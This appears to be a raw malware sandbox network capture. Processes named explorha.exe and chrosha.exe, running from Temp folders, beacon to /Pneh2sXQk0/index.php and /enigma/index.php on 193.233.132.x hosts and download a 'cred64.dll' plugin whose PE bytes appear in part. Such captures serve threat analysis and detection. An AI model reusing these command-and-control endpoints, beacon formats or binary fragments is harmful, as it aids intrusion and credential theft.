Apr 19, 2024 03:29:58.185154915 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:58.445507050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49862	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:58.801763058 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:59.046861887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:59.048047066 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:59.296912909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49863	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:59.696800947 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:59.948745012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:59.954314947 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:00.211832047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49864	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:00.577872992 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:00.832135916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:00.846025944 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:01.101581097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49865	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:01.543850899 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:01.792764902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:01.794197083 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:02.047658920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49866	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:02.421377897 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:02.672463894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:02.673408985 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:02.928219080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49867	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:03.282568932 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:03.525332928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:03.529757977 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:03.777225971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49868	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:03.913847923 CEST	66	OUT	GET /enigma/Plugins/cred64.dll HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:30:04.155072927 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Thu, 01 Feb 2024 16:00:36 GMT Connection: keep-alive ETag: "65bbc024-139e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 0f bf bb 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^^^_^_^_2^W_^W_^W_^_^^C^_^_^X^^_^Rich^PEde" RhP` Xx `(0p .text `.rdata@@.dataLD@.pdata(`@@_RDATA@@.rsrc @@.reloc0@B
Apr 19, 2024 03:30:04.155113935 CEST	1289	IN	Data Raw: 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 97 6e 11 00 48 8d 0d e0 bb 12 00 e8 d3 20 0c 00 48 8d 0d 0c 85 0f 00 48 83 c4 28 e9 cf f2 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 8f 6e 11 00 48 8d 0d b0 c2 12 00 e8 a3 20 0c 00 48 Data Ascii: H(A HnH HH(H(A HnH HLH(H(AHnHs HH(oH(A H_nHC HH(?H(AHWnH HH(
Apr 19, 2024 03:30:04.155153036 CEST	1289	IN	Data Raw: 83 c4 28 e9 ef ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 4f 6c 11 00 48 8d 0d b0 b5 12 00 e8 c3 1b 0c 00 48 8d 0d cc 8b 0f 00 48 83 c4 28 e9 bf ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 2f 6c 11 00 48 8d 0d c0 bd 12 Data Ascii: (H(AHOlHHH(H(AH/lHHH(H(A(HlHcHLH(_H(AHlH3HH(/H(AHkHHH(
Apr 19, 2024 03:30:04.155193090 CEST	1289	IN	Data Raw: 8d 0d 4c 92 0f 00 48 83 c4 28 e9 df e8 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 57 69 11 00 48 8d 0d a0 b7 12 00 e8 b3 16 0c 00 48 8d 0d 8c 92 0f 00 48 83 c4 28 e9 af e8 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 37 69 11 Data Ascii: LH(H(AHWiHHH(H(AH7iHHH(H(AHiHSHH(OH(AHhH#HLH(H(AHhH`H
Apr 19, 2024 03:30:04.155234098 CEST	1289	IN	Data Raw: 00 e8 d3 11 0c 00 48 8d 0d 0c 99 0f 00 48 83 c4 28 e9 cf e3 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 cf 67 11 00 48 8d 0d b0 b8 12 00 e8 a3 11 0c 00 48 8d 0d 4c 99 0f 00 48 83 c4 28 e9 9f e3 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 Data Ascii: HH(H(A4HgHHLH(H(A(HgHsHH(oH(AHgHCHH(?H(A4HgHHH(H(A(HgH
Apr 19, 2024 03:30:04.155271053 CEST	1289	IN	Data Raw: c7 80 80 00 00 00 0f 00 00 00 88 50 68 48 89 90 98 00 00 00 48 c7 80 a0 00 00 00 0f 00 00 00 88 90 88 00 00 00 48 89 90 b8 00 00 00 48 c7 80 c0 00 00 00 0f 00 00 00 88 90 a8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 88 90 c8 Data Ascii: PhHHHHHHHHHH H8H@(HXH`HHxHhHHHH
Apr 19, 2024 03:30:04.155311108 CEST	1289	IN	Data Raw: 00 00 0f 00 00 00 88 90 c8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 88 90 e8 00 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 88 90 08 01 00 00 48 89 90 38 01 00 00 48 c7 80 40 01 00 00 0f 00 00 00 88 90 28 01 Data Ascii: HHHH H8H@(HXH`HHxHhHHHHHHHHHH
Apr 19, 2024 03:30:04.155349016 CEST	1289	IN	Data Raw: 00 0f 00 00 00 88 90 28 01 00 00 48 89 90 58 01 00 00 48 c7 80 60 01 00 00 0f 00 00 00 88 90 48 01 00 00 48 89 90 78 01 00 00 48 c7 80 80 01 00 00 0f 00 00 00 88 90 68 01 00 00 48 89 90 98 01 00 00 48 c7 80 a0 01 00 00 0f 00 00 00 88 90 88 01 00 Data Ascii: (HXH`HHxHhHHHHHHHHHH H8H@(HXH`HHxH
Apr 19, 2024 03:30:04.155386925 CEST	1289	IN	Data Raw: 00 48 8d 0d c5 9a 0f 00 e9 b4 cf 0c 00 48 8d 0d 15 9b 0f 00 e9 a8 cf 0c 00 48 8d 0d 49 9b 0f 00 e9 9c cf 0c 00 48 83 ec 28 48 8d 0d 75 b8 12 00 e8 ac dc 0c 00 48 8d 0d 75 9b 0f 00 48 83 c4 28 e9 7c cf 0c 00 b8 01 00 00 00 c3 cc cc cc cc cc cc cc Data Ascii: HHHIH(HuHuH(\|H\$Hl$Ht$ WAVHLTAL5GL@AAt'AB0TB82TuIIEAExAB0TAB0T+uHE3LHuED8t
Apr 19, 2024 03:30:04.155425072 CEST	1289	IN	Data Raw: 8b 57 10 48 8b cb e8 41 b8 06 00 48 8b 3f 48 85 ff 75 ec 48 8b 7e 10 48 85 ff 74 14 48 8b 57 10 48 8b cb e8 74 38 04 00 48 8b 3f 48 85 ff 75 ec 8b 43 28 41 ff c7 48 83 c5 20 44 3b f8 0f 8c 49 ff ff ff 48 8b 6c 24 20 4c 89 b3 20 03 00 00 41 8b fe Data Ascii: WHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0DuH{HL$0H AD$0HtgfDHHE^L9 tHH1-3H;hr"H;psH`
Apr 19, 2024 03:30:04.396878958 CEST	1289	IN	Data Raw: 95 c0 88 46 2b 33 c0 eb 05 b8 01 00 00 00 48 8b 4c 24 78 48 33 cc e8 28 bf 0c 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 20 49 8b 6b 30 49 8b e3 41 5e 5f 5e c3 48 83 ec 08 80 79 2a 00 4c 8b d9 0f 85 2e 01 00 00 80 79 28 00 48 89 1c 24 74 0c 8b 41 08 44 Data Ascii: F+3HL$xH3(L$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAADhAAOiQQDAADAlDiAAAA+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49869	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:03.929011106 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:04.177756071 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:04.178675890 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:04.436794043 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 31 38 37 30 30 31 2b 2b 2b 39 37 32 38 39 64 30 33 35 31 36 65 39 34 31 64 33 61 66 61 64 61 66 65 62 66 39 34 32 35 66 63 64 65 36 61 34 65 66 64 61 61 36 32 32 37 35 38 38 38 63 35 61 64 35 66 30 63 61 63 37 35 62 62 30 35 37 33 35 33 64 30 30 39 66 63 66 37 23 31 30 30 30 31 38 38 30 30 31 2b 2b 2b 39 37 32 38 39 64 30 33 35 31 36 65 39 34 31 64 33 61 66 61 64 61 66 65 62 66 39 34 32 35 66 63 64 65 36 61 34 65 66 64 61 61 36 32 32 37 35 38 38 38 63 35 61 64 35 66 30 63 61 63 37 35 62 62 30 35 37 33 35 33 64 30 30 39 66 63 66 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 